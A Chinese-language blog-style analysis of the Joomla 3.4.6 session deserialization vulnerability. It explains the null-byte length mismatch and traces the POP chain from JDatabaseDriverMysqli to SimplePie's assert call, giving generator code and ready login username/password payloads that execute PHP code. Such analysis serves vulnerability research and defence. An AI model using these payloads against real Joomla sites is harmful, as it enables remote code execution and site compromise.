前言
看了网上的一些分析之后,觉得分析的都不是很全,要不然只是分析了流程,要不然POP链只是简单的提了一下,也不说为什么要这么构造。。上来就扔别人的poc,个人感觉这样不是很好,既然是自己分析,就还是要把POP链的每一步都了解清楚,我踩坑的时候,去请教了一位写了分析的师傅,也没回复我,不知道是我太菜了还是怎么样orz。。。于是有了这篇分析,师傅们看了如有什么问题,还请多包涵
环境搭建
安装包
https://downloads.joomla.org/it/cms/joomla3/3-4-6
Session机制
login过程
第一个请求会调用write函数写入(后面有介绍),303重定向后会调用read函数进行反序列化
所以复现的时候,登陆跳转后,才会触发read操作进行反序列化
用户的信息被保存在_session表里,以session_id为字段
在session入库的过程中 有两个关键函数libraries/joomla/session/storage/database.php#read
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
$db->setQuery($query);
$result = (string) $db->loadResult();
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
return $result;
}
...
}
libraries/joomla/session/storage/database.php#write
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30public function write($id, $data)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
try
{
$query = $db->getQuery(true)
->update($db->quoteName('#__session'))
->set($db->quoteName('data') . ' = ' . $db->quote($data))
->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
// Try to update the session data in the database table.
$db->setQuery($query);
if (!$db->execute())
{
return false;
}
/* Since $db->execute did not throw an exception, so the query was successful.
Either the data changed, or the data was identical.
In either case we are done.
*/
return true;
}
...
}
可以发现
在write的时候,会将chr(0) . '*' . chr(0)
替换为\0\0\0
,因为在mysql中 不允许存储空字节
所以在read的时候,会将\0\0\0
还原为chr(0) . '*' . chr(0)
,以便于反序列化
因为protected变量序列化之后带有空字节
存储过程中{s:7:N*Ndata}
=> {s:7:\0\0\0data}
N*N
是3个长度大小,但是替换成\0\0\0
之后,应该变成了6个长度大小,但是处理过程中并没有改变这个大小
这就造成了此次漏洞的关键点
如果我们控制username为\0\0\0hu3sky
,长度是12,那么,在读取的时候,就会将\0\0\0
替换,导致长度会减小3,于是反序列化的时候就会出现错误
那么接着看,payload假如是1
s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:10:"MYPASSWORD"
那么调用read的时候,payload会变成下面这样1
s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:10:"MYPASSWORD"
这样,NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:10:"MYPA
这一串字符串刚好是54位,那么我们就可以在密码处进行逃逸并注入反序列化任意类了
比如我们将密码改为MYPA";s:2:"HS":O:15:"ObjectInjection
,注入后,就为下面这种情况1
s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:10:"MYPA";s:2:"HS":O:15:"ObjectInjection"
POP链
直接全局搜索__destruct
,寻找反序列化的入口
找到了一个比较好利用的类libraries/joomla/database/driver/mysqli.php:JDatabaseDriverMysql
他的__destruct
跟入disconnect
直接出现call_user_func_array
就很舒服了,进入if的条件是is_resource($this->connection)
为true
同时让disconnectHandlers
可控就行了,这两个变量的定义都在libraries/joomla/database/driver.php#185
1 | protected $connection; |
不过1
call_user_func_array($h,array( &$this));
可控的变量只有$h,所以我们需要再调一个类,来返回一个call_user_func
的方法,并且call_user_func
的参数可控,比如1
2
var_dump(call_user_func_array(call_user_func("assert","phpinfo();"), array("aa"=>"aa")));
在call_user_func_array
回调了一个call_user_func
去调用了assert
方法,并且传入了phpinfo,执行了代码
寻找可控点
于是,接下来的目标就是去寻找一个返回了call_user_func
的类call_user_func_array
可以调用类的方法
官方的一个例子1
2
3
4
5
6
7
8
9
10
11
class foo {
function bar($arg, $arg2) {
echo __METHOD__, " got $arg and $arg2\n";
}
}
// Call the $foo->bar() method with 2 arguments
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
在libraries/simplepie/simplepie.php:init
方法中1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function init()
{
...
if ($this->feed_url !== null || $this->raw_data !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
...
if ($this->feed_url !== null)
{
...
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
//var $cache_class = 'SimplePie_Cache';
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
}
这里1
call_user_func($this->cache_name_function, $this->feed_url)
$this->cache_name_function
,$this->feed_url
都可控,于是可以构造1
call_user_func('assert','phpinfo();')
所以我们只需要进入if判断就行了$parsed_feed_url
是parse_url
函数解析都结果,所以需要让scheme
不为空
当parse_url
解析的是
还需要让$raw_data
为true
,$this->cache
默认为true
利用payload进行测试1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class JDatabaseDriverMysqli
{
protected $connection;
protected $disconnectHandlers;
function __construct($obj)
{
$this->connection = 1;
$this->disconnectHandlers = array("a"=>$obj);
}
}
class SimplePie
{
var $cache_name_function = "assert";
var $feed_url = "phpinfo();";
}
$obj = array(new SimplePie,"init");
$a = new JDatabaseDriverMysqli($obj);
$ser = serialize($a);
echo $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);
登录时用户名密码分别是1
2
3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
MYP";s:2:"HS";O:21:"JDatabaseDriverMysqli":2:{s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{s:1:"a";a:2:{i:0;O:9:"SimplePie":2:{s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:10:"phpinfo();";}i:1;s:4:"init";}}}
调用栈和相关的变量如下
但是跟不到Simplepie这个类里面去
查看了@phthion的上个版本的分析
发现libraries/simplepie/simplepie.php这个类是默认不会加载的,在libraries/legacy/simplepie/factory.php
默认jimport了这个类,所以我们需要先实例化JSimplepieFactory
同时,需要在Simplepie里实例化JDatabaseDriverMysql,否则无法加载Simplepie,这里不是很明白,于是修改payload
(调试的时候发现了)
这两个条件必须要满足,否则会退出
1 |
|
成功加载
最终payload1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class JSimplepieFactory{
}
class JDatabaseDriverMysql{
}
class JDatabaseDriverMysqli
{
protected $xx;
protected $connection;
protected $disconnectHandlers;
protected $obj;
function __construct()
{
$this->xx = new JSimplepieFactory();
$this->connection = 1;
$obj = new SimplePie;
$this->disconnectHandlers = [
[$obj, "init"],
];
}
}
class SimplePie
{
var $sanitize;
var $cache_name_function;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
}
}
$a = new JDatabaseDriverMysqli();
$ser = serialize($a);
echo $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);
最终password1
MYP";s:2:"HS";O:21:"JDatabaseDriverMysqli":4:{s:5:"\0\0\0xx";O:17:"JSimplepieFactory":0:{}s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":3:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:6:"\0\0\0obj";N;}
打印出phpinfo;